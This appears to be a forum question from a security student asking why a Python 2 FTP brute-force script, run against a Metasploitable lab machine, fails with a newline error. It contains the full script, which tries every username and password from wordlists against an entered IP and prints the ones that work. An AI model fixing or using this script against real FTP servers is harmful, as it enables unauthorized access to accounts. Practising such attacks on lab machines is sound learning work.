I study computer security and I am recreating a brute force attack on an ftp server with a virtual machine that has got metasploitable installed but I get an error. The strange thing is that I have seen other people use this same code and they work perfectly, but when I use this code in my cmd I get an error and I do not understand why.
When I try to execute the script the cmd tells me that there is an error with the following lines:
brute(ip, users_file, passwords_file)
ans = conect.login(user, password)
resp = self.sendcmd(´USER´, + user)
self.putcmd(cmd)
self.putline(line)
raise ValueError('an illegal newline character should not be contained')
ValueError an illegal newline character should not be contained
The code that I am trying to execute is this:
import ftplib
import sys
def brute(ip, users_file, passwords_file):
try:
ud = open(users_file, "r")
pd = open(passwords_file, "r")
users = ud.readlines()
passwords = pd.readlines()
for user in users:
for password in passwords:
try:
print "[*]Trying to connect"
conect = ftplib.FTP(ip)
ans = conect.login(user, password)
if ans == "230 Login successful.":
print "[*]Successfull atack"
print "User: ", user
print "Password: ", password
sys.exit()
else:
pass
except ftplib.error_perm:
print "Can't Brute Force with user: " + user + " and password: " + password
conect.close
except(KeyboardInterrupt):
print "Interrupted. Later!"
sys.exit()
ip = raw_input("IP: ")
users_file = "users.txt"
passwords_file = "passwords.txt"
brute(ip, users_file, passwords_file)
Does anyone know why this happens?